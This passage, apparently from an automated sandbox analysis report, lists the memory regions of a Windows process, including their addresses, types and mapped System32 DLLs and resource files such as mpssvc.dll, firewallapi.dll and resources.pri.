entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4928 start_va = 0x7ffd1f740000 end_va = 0x7ffd1f916fff entry_point = 0x7ffd1f741f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 4929 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d83282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4930 start_va = 0xffdf30000 end_va = 0xffe0effff entry_point = 0x0 region_type = private name = "private_0x0000000ffdf30000" filename = "" Region: id = 4931 start_va = 0xffdc30000 end_va = 0xffdc36fff entry_point = 0x0 region_type = private name = "private_0x0000000ffdc30000" filename = "" Region: id = 4932 start_va = 0xffdf30000 end_va = 0xffdfe9fff entry_point = 0xffdf5c768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4933 start_va = 0xffe0e0000 end_va = 0xffe0effff entry_point = 0x0 region_type = private name = "private_0x0000000ffe0e0000" filename = "" Region: id = 4934 start_va = 0x7ffd1bb70000 end_va = 0x7ffd1bb79fff entry_point = 0x7ffd1bb71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 4935 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb71010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4936 start_va = 0xffdd80000 end_va = 0xffdd86fff entry_point = 0x0 region_type = private name = "private_0x0000000ffdd80000" filename = "" Region: id = 4937 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb2f6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 4938 start_va = 0x7ffd1d350000 end_va = 0x7ffd1d4c0fff entry_point = 0x7ffd1d375ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4939 start_va = 0x7ffd1f5f0000 end_va = 0x7ffd1f734fff entry_point = 0x7ffd1f601c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4940 start_va = 0xffdf30000 end_va = 0xffe0b7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000ffdf30000" filename = "" Region: id = 4941 start_va = 0xffe0f0000 end_va = 0xffe270fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000ffe0f0000" filename = "" Region: id = 4942 start_va = 0xffe280000 end_va = 0xffe33ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000ffe280000" filename = "" Region: id = 4943 start_va = 0xffdd90000 end_va = 0xffdd92fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000ffdd90000" filename = "" Region: id = 4944 start_va = 0xffdda0000 end_va = 0xffdda0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000ffdda0000" filename = "" Region: id = 4945 start_va = 0xffddb0000 end_va = 0xffddb0fff entry_point = 0x0 region_type = private name = "private_0x0000000ffddb0000" filename = "" Region: id = 4946 start_va = 0xffddc0000 end_va = 0xffddc0fff entry_point = 0x0 region_type = private name = "private_0x0000000ffddc0000" filename = "" Region: id = 4947 start_va = 0xffe340000 end_va = 0xffe739fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000ffe340000" filename = "" Region: id = 5192 start_va = 0xffe740000 end_va = 0xffe7bffff entry_point = 0x0 region_type = private name = "private_0x0000000ffe740000" filename = "" Region: id = 5193 start_va = 0xffe7c0000 end_va = 0xffe83ffff entry_point = 0x0 region_type = private name = "private_0x0000000ffe7c0000" filename = "" Region: id = 5194 start_va = 0x7ff618238000 end_va = 0x7ff618239fff entry_point = 0x0 region_type = private name = "private_0x00007ff618238000" filename = "" Region: id = 5195 start_va = 0x7ff61823c000 end_va = 0x7ff61823dfff entry_point = 0x0 region_type = private name = "private_0x00007ff61823c000" filename = "" Region: id = 5196 start_va = 0xffe840000 end_va = 0xffeb14fff entry_point = 0xffe840000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 5215 start_va = 0x7ffd163f0000 end_va = 0x7ffd164bffff entry_point = 0x7ffd163f0000 region_type = mapped_file name = "bfe.dll" filename = "\\Windows\\System32\\BFE.DLL" (normalized: "c:\\windows\\system32\\bfe.dll") Region: id = 5220 start_va = 0x7ffd1bf60000 end_va = 0x7ffd1bfa7fff entry_point = 0x7ffd1bf6108c region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 5221 start_va = 0x7ffd1f350000 end_va = 0x7ffd1f3a7fff entry_point = 0x7ffd1f35109c region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 5222 start_va = 0x7ffd1c390000 end_va = 0x7ffd1c432fff entry_point = 0x7ffd1c3a5be8 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 5223 start_va = 0x7ffd1dd40000 end_va = 0x7ffd1dd48fff entry_point = 0x7ffd1dd41400 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 5235 start_va = 0xffeb20000 end_va = 0xffeb9ffff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 5236 start_va = 0xffeba0000 end_va = 0xffec1ffff entry_point = 0x0 region_type = private name = "private_0x0000000ffeba0000" filename = "" Region: id = 5237 start_va = 0x7ff618236000 end_va = 0x7ff618237fff entry_point = 0x0 region_type = private name = "private_0x00007ff618236000" filename = "" Region: id = 5238 start_va = 0xffddd0000 end_va = 0xffddd6fff entry_point = 0x0 region_type = private name = "private_0x0000000ffddd0000" filename = "" Region: id = 5239 start_va = 0x7ffd1cae0000 end_va = 0x7ffd1cb0afff entry_point = 0x7ffd1cae1490 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 5240 start_va = 0xffec20000 end_va = 0xffed1ffff entry_point = 0x0 region_type = private name = "private_0x0000000ffec20000" filename = "" Region: id = 5241 start_va = 0x7ffd195e0000 end_va = 0x7ffd19646fff entry_point = 0x7ffd195e10b4 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 5305 start_va = 0x7ffd1bee0000 end_va = 0x7ffd1beedfff entry_point = 0x7ffd1bee3090 region_type = mapped_file name = "pcwum.dll" filename = "\\Windows\\System32\\pcwum.dll" (normalized: "c:\\windows\\system32\\pcwum.dll") Region: id = 5309 start_va = 0xffed20000 end_va = 0xffed9ffff entry_point = 0x0 region_type = private name = "private_0x0000000ffed20000" filename = "" Region: id = 5310 start_va = 0x7ff618234000 end_va = 0x7ff618235fff entry_point = 0x0 region_type = private name = "private_0x00007ff618234000" filename = "" Region: id = 5311 start_va = 0xffeda0000 end_va = 0xffee1ffff entry_point = 0x0 region_type = private name = "private_0x0000000ffeda0000" filename = "" Region: id = 5312 start_va = 0x7ff61810e000 end_va = 0x7ff61810ffff entry_point = 0x0 region_type = private name = "private_0x00007ff61810e000" filename = "" Region: id = 5313 start_va = 0xffee20000 end_va = 0xffee9ffff entry_point = 0x0 region_type = private name = "private_0x0000000ffee20000" filename = "" Region: id = 5314 start_va = 0x7ff61810c000 end_va = 0x7ff61810dfff entry_point = 0x0 region_type = private name = "private_0x00007ff61810c000" filename = "" Region: id = 5352 start_va = 0x7ffd15e20000 end_va = 0x7ffd15ef8fff entry_point = 0x7ffd15e20000 region_type = mapped_file name = "mpssvc.dll" filename = "\\Windows\\System32\\MPSSVC.dll" (normalized: "c:\\windows\\system32\\mpssvc.dll") Region: id = 5381 start_va = 0x7ffd1bbd0000 end_va = 0x7ffd1bc85fff entry_point = 0x7ffd1bbe2c60 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 5382 start_va = 0x7ffd1d050000 end_va = 0x7ffd1d099fff entry_point = 0x7ffd1d051258 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 5383 start_va = 0x7ffd18220000 end_va = 0x7ffd18286fff entry_point = 0x7ffd18221c14 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5430 start_va = 0xffeea0000 end_va = 0xffef1ffff entry_point = 0x0 region_type = private name = "private_0x0000000ffeea0000" filename = "" Region: id = 5431 start_va = 0x7ff61810a000 end_va = 0x7ff61810bfff entry_point = 0x0 region_type = private name = "private_0x00007ff61810a000" filename = "" Region: id = 5433 start_va = 0xffef20000 end_va = 0xffef9ffff entry_point = 0x0 region_type = private name = "private_0x0000000ffef20000" filename = "" Region: id = 5434 start_va = 0x7ff618108000 end_va = 0x7ff618109fff entry_point = 0x0 region_type = private name = "private_0x00007ff618108000" filename = "" Region: id = 5466 start_va = 0xffe7c0000 end_va = 0xffe83ffff entry_point = 0x0 region_type = private name = "private_0x0000000ffe7c0000" filename = "" Region: id = 5467 start_va = 0x7ff618238000 end_va = 0x7ff618239fff entry_point = 0x0 region_type = private name = "private_0x00007ff618238000" filename = "" Region: id = 5502 start_va = 0xffefa0000 end_va = 0xfff01ffff entry_point = 0x0 region_type = private name = "private_0x0000000ffefa0000" filename = "" Region: id = 5503 start_va = 0x7ff618106000 end_va = 0x7ff618107fff entry_point = 0x0 region_type = private name = "private_0x00007ff618106000" filename = "" Region: id = 5548 start_va = 0xffdde0000 end_va = 0xffdde0fff entry_point = 0x0 region_type = private name = "private_0x0000000ffdde0000" filename = "" Region: id = 5549 start_va = 0xfff020000 end_va = 0xfff09ffff entry_point = 0x0 region_type = private name = "private_0x0000000fff020000" filename = "" Region: id = 5550 start_va = 0x7ff618104000 end_va = 0x7ff618105fff entry_point = 0x0 region_type = private name = "private_0x00007ff618104000" filename = "" Region: id = 5551 start_va = 0xfff0a0000 end_va = 0xfff11ffff entry_point = 0x0 region_type = private name = "private_0x0000000fff0a0000" filename = "" Region: id = 5552 start_va = 0x7ff618102000 end_va = 0x7ff618103fff entry_point = 0x0 region_type = private name = "private_0x00007ff618102000" filename = "" Region: id = 5553 start_va = 0xffdde0000 end_va = 0xffdde0fff entry_point = 0x0 region_type = private name = "private_0x0000000ffdde0000" filename = "" Region: id = 5554 start_va = 0xffdde0000 end_va = 0xffddeffff entry_point = 0x0 region_type = private name = "private_0x0000000ffdde0000" filename = "" Region: id = 5606 start_va = 0xffddf0000 end_va = 0xffddf0fff entry_point = 0x0 region_type = private name = "private_0x0000000ffddf0000" filename = "" Region: id = 5607 start_va = 0xffddf0000 end_va = 0xffddf0fff entry_point = 0x0 region_type = private name = "private_0x0000000ffddf0000" filename = "" Region: id = 5608 start_va = 0xffddf0000 end_va = 0xffddf0fff entry_point = 0x0 region_type = private name = "private_0x0000000ffddf0000" filename = "" Region: id = 5609 start_va = 0xffddf0000 end_va = 0xffddf0fff entry_point = 0x0 region_type = private name = "private_0x0000000ffddf0000" filename = "" Region: id = 5610 start_va = 0xffddf0000 end_va = 0xffddf0fff entry_point = 0x0 region_type = private name = "private_0x0000000ffddf0000" filename = "" Region: id = 5611 start_va = 0xffddf0000 end_va = 0xffddf0fff entry_point = 0x0 region_type = private name = "private_0x0000000ffddf0000" filename = "" Region: id = 5612 start_va = 0xffddf0000 end_va = 0xffddf0fff entry_point = 0x0 region_type = private name = "private_0x0000000ffddf0000" filename = "" Region: id = 5613 start_va = 0xffddf0000 end_va = 0xffddf0fff entry_point = 0x0 region_type = private name = "private_0x0000000ffddf0000" filename = "" Region: id = 5614 start_va = 0xffddf0000 end_va = 0xffddf0fff entry_point = 0x0 region_type = private name = "private_0x0000000ffddf0000" filename = "" Region: id = 5615 start_va = 0xffddf0000 end_va = 0xffddf0fff entry_point = 0x0 region_type = private name = "private_0x0000000ffddf0000" filename = "" Region: id = 5616 start_va = 0xffddf0000 end_va = 0xffddf0fff entry_point = 0x0 region_type = private name = "private_0x0000000ffddf0000" filename = "" Region: id = 5617 start_va = 0xfff120000 end_va = 0xfff19ffff entry_point = 0x0 region_type = private name = "private_0x0000000fff120000" filename = "" Region: id = 5618 start_va = 0x7ff618100000 end_va = 0x7ff618101fff entry_point = 0x0 region_type = private name = "private_0x00007ff618100000" filename = "" Region: id = 5619 start_va = 0x7ffd158f0000 end_va = 0x7ffd158f9fff entry_point = 0x7ffd158f0000 region_type = mapped_file name = "adhapi.dll" filename = "\\Windows\\System32\\adhapi.dll" (normalized: "c:\\windows\\system32\\adhapi.dll") Region: id = 5620 start_va = 0x7ffd1bea0000 end_va = 0x7ffd1bec2fff entry_point = 0x7ffd1bea10a0 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 5622 start_va = 0x7ffd18a60000 end_va = 0x7ffd18a88fff entry_point = 0x7ffd18a67968 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 5623 start_va = 0x7ffd18a50000 end_va = 0x7ffd18a59fff entry_point = 0x7ffd18a510c4 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 5624 start_va = 0x7ffd181a0000 end_va = 0x7ffd181b3fff entry_point = 0x7ffd181a1780 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 5625 start_va = 0x7ffd18180000 end_va = 0x7ffd18198fff entry_point = 0x7ffd18181dcc region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 5628 start_va = 0x7ffd1c5e0000 end_va = 0x7ffd1c637fff entry_point = 0x7ffd1c5e1010 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 5633 start_va = 0xfff1a0000 end_va = 0xfff21ffff entry_point = 0x0 region_type = private name = "private_0x0000000fff1a0000" filename = "" Region: id = 5634 start_va = 0x7ff6180fe000 end_va = 0x7ff6180fffff entry_point = 0x0 region_type = private name = "private_0x00007ff6180fe000" filename = "" Region: id = 5724 start_va = 0xfff220000 end_va = 0xfff29ffff entry_point = 0x0 region_type = private name = "private_0x0000000fff220000" filename = "" Region: id = 5725 start_va = 0xfff2a0000 end_va = 0xfff31ffff entry_point = 0x0 region_type = private name = "private_0x0000000fff2a0000" filename = "" Region: id = 5726 start_va = 0x7ff6180fa000 end_va = 0x7ff6180fbfff entry_point = 0x0 region_type = private name = "private_0x00007ff6180fa000" filename = "" Region: id = 5727 start_va = 0x7ff6180fc000 end_va = 0x7ff6180fdfff entry_point = 0x0 region_type = private name = "private_0x00007ff6180fc000" filename = "" Region: id = 5728 start_va = 0x7ffd15350000 end_va = 0x7ffd15359fff entry_point = 0x7ffd15350000 region_type = mapped_file name = "wfapigp.dll" filename = "\\Windows\\System32\\wfapigp.dll" (normalized: "c:\\windows\\system32\\wfapigp.dll") Region: id = 6029 start_va = 0xfff320000 end_va = 0xfff41ffff entry_point = 0x0 region_type = private name = "private_0x0000000fff320000" filename = "" Region: id = 6058 start_va = 0x7ffd14f60000 end_va = 0x7ffd15041fff entry_point = 0x7ffd14f60000 region_type = mapped_file name = "mrmcorer.dll" filename = "\\Windows\\System32\\MrmCoreR.dll" (normalized: "c:\\windows\\system32\\mrmcorer.dll") Region: id = 6074 start_va = 0x7ffd1ad20000 end_va = 0x7ffd1ad7dfff entry_point = 0x7ffd1ad21074 region_type = mapped_file name = "bcp47langs.dll" filename = "\\Windows\\System32\\BCP47Langs.dll" (normalized: "c:\\windows\\system32\\bcp47langs.dll") Region: id = 6164 start_va = 0x7ffd15690000 end_va = 0x7ffd157eefff entry_point = 0x7ffd15691434 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 6171 start_va = 0x7ffd1d640000 end_va = 0x7ffd1d7b5fff entry_point = 0x7ffd1d6410b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 6172 start_va = 0x7ffd1d4d0000 end_va = 0x7ffd1d520fff entry_point = 0x7ffd1d4d12c0 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 6175 start_va = 0x7ffd17c80000 end_va = 0x7ffd17f27fff entry_point = 0x7ffd17c8ddc4 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 6179 start_va = 0x7ffd17f30000 end_va = 0x7ffd1816ffff entry_point = 0x7ffd17f313f0 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 6180 start_va = 0xfff420000 end_va = 0xfff4d5fff entry_point = 0xfff421120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 6219 start_va = 0x7ffd1f2a0000 end_va = 0x7ffd1f344fff entry_point = 0x7ffd1f2a1010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 6220 start_va = 0x7ffd1da80000 end_va = 0x7ffd1db36fff entry_point = 0x7ffd1da81120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 6228 start_va = 0x7ffd1b380000 end_va = 0x7ffd1b420fff entry_point = 0x7ffd1b3810a0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 6268 start_va = 0xffde00000 end_va = 0xffde02fff entry_point = 0xffde00000 region_type = mapped_file name = "resources.pri" filename = "\\Windows\\WinStore\\resources.pri" (normalized: "c:\\windows\\winstore\\resources.pri") Region: id = 6279 start_va = 0xfff420000 end_va = 0xfff49ffff entry_point = 0x0 region_type = private name = "private_0x0000000fff420000" filename = "" Region: id = 6280 start_va = 0x7ff6180f8000 end_va = 0x7ff6180f9fff entry_point = 0x0 region_type = private name = "private_0x00007ff6180f8000" filename = "" Region: id = 6290 start_va = 0x7ffd1a310000 end_va = 0x7ffd1a33cfff entry_point = 0x7ffd1a310000 region_type = mapped_file name = "dps.dll" filename = "\\Windows\\System32\\dps.dll" (normalized: "c:\\windows\\system32\\dps.dll") Region: id = 6336 start_va = 0x7ffd1cca0000 end_va = 0x7ffd1ccb3fff entry_point = 0x7ffd1cca3acc region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 6337 start_va = 0xffde10000 end_va = 0xffde10fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000ffde10000" filename = "" Region: id = 6338 start_va = 0x7ffd1d590000 end_va = 0x7ffd1d633fff entry_point = 0x7ffd1d591170 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 6339 start_va = 0xffde20000 end_va = 0xffde20fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000ffde20000" filename = "" Region: id = 6340 start_va = 0x7ffd190d0000 end_va = 0x7ffd1926cfff entry_point = 0x7ffd190d135c region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 6344 start_va = 0xffe0c0000 end_va = 0xffe0c0fff entry_point = 0xffe0c0000 region_type = mapped_file name = "754694702.pri" filename = "\\Windows\\rescache\\_merged\\3592120974\\754694702.pri" (normalized: "c:\\windows\\rescache\\_merged\\3592120974\\754694702.pri") Region: id = 6345 start_va = 0xfff4a0000 end_va = 0xfff51ffff entry_point = 0x0 region_type = private name = "private_0x0000000fff4a0000" filename = "" Region: id = 6346 start_va = 0x7ff6180f6000 end_va = 0x7ff6180f7fff entry_point = 0x0 region_type = private name = "private_0x00007ff6180f6000" filename = "" Region: id = 6347 start_va = 0xffe0d0000 end_va = 0xffe0d0fff entry_point = 0x0 region_type = private name = "private_0x0000000ffe0d0000" filename = "" Region: id = 6352 start_va = 0xffe0d0000 end_va = 0xffe0d0fff entry_point = 0x0 region_type = private name = "private_0x0000000ffe0d0000" filename = "" Region: id = 6353 start_va = 0xffe0d0000 end_va = 0xffe0d7fff entry_point = 0x0 region_type = private name = "private_0x0000000ffe0d0000" filename = "" Region: id = 6357 start_va = 0xffeb20000 end_va = 0xffeb20fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 6358 start_va = 0xffeb30000 end_va = 0xffeb30fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb30000" filename = "" Region: id = 6359 start_va = 0xffeb40000 end_va = 0xffeb40fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb40000" filename = "" Region: id = 6360 start_va = 0xffeb50000 end_va = 0xffeb50fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb50000" filename = "" Region: id = 6361 start_va = 0xffeb60000 end_va = 0xffeb61fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb60000" filename = "" Region: id = 6362 start_va = 0xffeb70000 end_va = 0xffeb70fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb70000" filename = "" Region: id = 6363 start_va = 0xffeb80000 end_va = 0xffeb80fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb80000" filename = "" Region: id = 6364 start_va = 0xffeb90000 end_va = 0xffeb9ffff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb90000" filename = "" Region: id = 6365 start_va = 0xfff520000 end_va = 0xfff520fff entry_point = 0x0 region_type = private name = "private_0x0000000fff520000" filename = "" Region: id = 6366 start_va = 0xfff530000 end_va = 0xfff530fff entry_point = 0x0 region_type = private name = "private_0x0000000fff530000" filename = "" Region: id = 6367 start_va = 0xfff540000 end_va = 0xfff542fff entry_point = 0x0 region_type = private name = "private_0x0000000fff540000" filename = "" Region: id = 6368 start_va = 0xfff550000 end_va = 0xfff550fff entry_point = 0x0 region_type = private name = "private_0x0000000fff550000" filename = "" Region: id = 6369 start_va = 0xfff560000 end_va = 0xfff561fff entry_point = 0x0 region_type = private name = "private_0x0000000fff560000" filename = "" Region: id = 6370 start_va = 0xfff570000 end_va = 0xfff571fff entry_point = 0x0 region_type = private name = "private_0x0000000fff570000" filename = "" Region: id = 6371 start_va = 0xfff580000 end_va = 0xfff580fff entry_point = 0x0 region_type = private name = "private_0x0000000fff580000" filename = "" Region: id = 6372 start_va = 0xfff590000 end_va = 0xfff590fff entry_point = 0xfff590000 region_type = mapped_file name = "resources.en-us.pri" filename = "\\Windows\\WinStore\\pris\\resources.en-US.pri" (normalized: "c:\\windows\\winstore\\pris\\resources.en-us.pri") Region: id = 6374 start_va = 0xffe0c0000 end_va = 0xffe0c0fff entry_point = 0xffe0c0000 region_type = mapped_file name = "754694702.pri" filename = "\\Windows\\rescache\\_merged\\3592120974\\754694702.pri" (normalized: "c:\\windows\\rescache\\_merged\\3592120974\\754694702.pri") Region: id = 6375 start_va = 0xfff590000 end_va = 0xfff590fff entry_point = 0xfff590000 region_type = mapped_file name = "resources.en-us.pri" filename = "\\Windows\\WinStore\\pris\\resources.en-US.pri" (normalized: "c:\\windows\\winstore\\pris\\resources.en-us.pri") Region: id = 6376 start_va = 0xffe0c0000 end_va = 0xffe0c0fff entry_point = 0xffe0c0000 region_type = mapped_file name = "754694702.pri" filename = "\\Windows\\rescache\\_merged\\3592120974\\754694702.pri" (normalized: "c:\\windows\\rescache\\_merged\\3592120974\\754694702.pri") Region: id = 6381 start_va = 0xfff590000 end_va = 0xfff590fff entry_point = 0xfff590000 region_type = mapped_file name = "resources.en-us.pri" filename = "\\Windows\\WinStore\\pris\\resources.en-US.pri" (normalized: "c:\\windows\\winstore\\pris\\resources.en-us.pri") Region: id = 6383 start_va = 0xffe0c0000 end_va = 0xffe0c0fff entry_point = 0xffe0c0000 region_type = mapped_file name = "754694702.pri" filename = "\\Windows\\rescache\\_merged\\3592120974\\754694702.pri" (normalized: "c:\\windows\\rescache\\_merged\\3592120974\\754694702.pri") Region: id = 6384 start_va = 0xfff590000 end_va = 0xfff590fff entry_point = 0xfff590000 region_type = mapped_file name = "resources.en-us.pri" filename = "\\Windows\\WinStore\\pris\\resources.en-US.pri" (normalized: "c:\\windows\\winstore\\pris\\resources.en-us.pri") Region: id = 6385 start_va = 0xffe0c0000 end_va = 0xffe0c0fff entry_point = 0xffe0c0000 region_type = mapped_file name = "754694702.pri" filename = "\\Windows\\rescache\\_merged\\3592120974\\754694702.pri" (normalized: "c:\\windows\\rescache\\_merged\\3592120974\\754694702.pri") Region: id = 6386 start_va = 0xfff590000 end_va = 0xfff590fff entry_point = 0xfff590000 region_type = mapped_file name = "resources.en-us.pri" filename = "\\Windows\\WinStore\\pris\\resources.en-US.pri" (normalized: "c:\\windows\\winstore\\pris\\resources.en-us.pri") Region: id = 6391 start_va = 0xffe0c0000 end_va = 0xffe0c0fff entry_point = 0xffe0c0000 region_type = mapped_file name = "754694702.pri" filename = "\\Windows\\rescache\\_merged\\3592120974\\754694702.pri" (normalized: "c:\\windows\\rescache\\_merged\\3592120974\\754694702.pri") Region: id = 6392 start_va = 0xfff590000 end_va = 0xfff590fff entry_point = 0xfff590000 region_type = mapped_file name = "resources.en-us.pri" filename = "\\Windows\\WinStore\\pris\\resources.en-US.pri" (normalized: "c:\\windows\\winstore\\pris\\resources.en-us.pri") Region: id = 6393 start_va = 0xffe0c0000 end_va = 0xffe0c0fff entry_point = 0xffe0c0000 region_type = mapped_file name = "754694702.pri" filename = "\\Windows\\rescache\\_merged\\3592120974\\754694702.pri" (normalized: "c:\\windows\\rescache\\_merged\\3592120974\\754694702.pri") Region: id = 6394 start_va = 0xfff590000 end_va = 0xfff590fff entry_point = 0xfff590000 region_type = mapped_file name = "resources.en-us.pri" filename = "\\Windows\\WinStore\\pris\\resources.en-US.pri" (normalized: "c:\\windows\\winstore\\pris\\resources.en-us.pri") Region: id = 6395 start_va = 0xfff590000 end_va = 0xfff68ffff entry_point = 0x0 region_type = private name = "private_0x0000000fff590000" filename = "" Region: id = 6396 start_va = 0xffde00000 end_va = 0xffde02fff entry_point = 0xffde00000 region_type = mapped_file name = "resources.pri" filename = "\\Windows\\WinStore\\resources.pri" (normalized: "c:\\windows\\winstore\\resources.pri") Region: id = 6398 start_va = 0xffe0c0000 end_va = 0xffe0c0fff entry_point = 0xffe0c0000 region_type = mapped_file name = "754694702.pri" filename = "\\Windows\\rescache\\_merged\\3592120974\\754694702.pri" (normalized: "c:\\windows\\rescache\\_merged\\3592120974\\754694702.pri") Region: id = 6399 start_va = 0xfff690000 end_va = 0xfff690fff entry_point = 0xfff690000 region_type = mapped_file name = "resources.en-us.pri" filename = "\\Windows\\WinStore\\pris\\resources.en-US.pri" (normalized: "c:\\windows\\winstore\\pris\\resources.en-us.pri") Region: id = 6400 start_va = 0xffe0c0000 end_va = 0xffe0c0fff entry_point = 0xffe0c0000 region_type = mapped_file name = "754694702.pri" filename = "\\Windows\\rescache\\_merged\\3592120974\\754694702.pri" (normalized: "c:\\windows\\rescache\\_merged\\3592120974\\754694702.pri") Region: id = 6401 start_va = 0xfff690000 end_va = 0xfff690fff entry_point = 0xfff690000 region_type = mapped_file name = "resources.en-us.pri" filename = "\\Windows\\WinStore\\pris\\resources.en-US.pri" (normalized: "c:\\windows\\winstore\\pris\\resources.en-us.pri") Region: id = 6402 start_va = 0xffe0c0000 end_va = 0xffe0c0fff entry_point = 0xffe0c0000 region_type = mapped_file name = "754694702.pri" filename = "\\Windows\\rescache\\_merged\\3592120974\\754694702.pri" (normalized: "c:\\windows\\rescache\\_merged\\3592120974\\754694702.pri") Region: id = 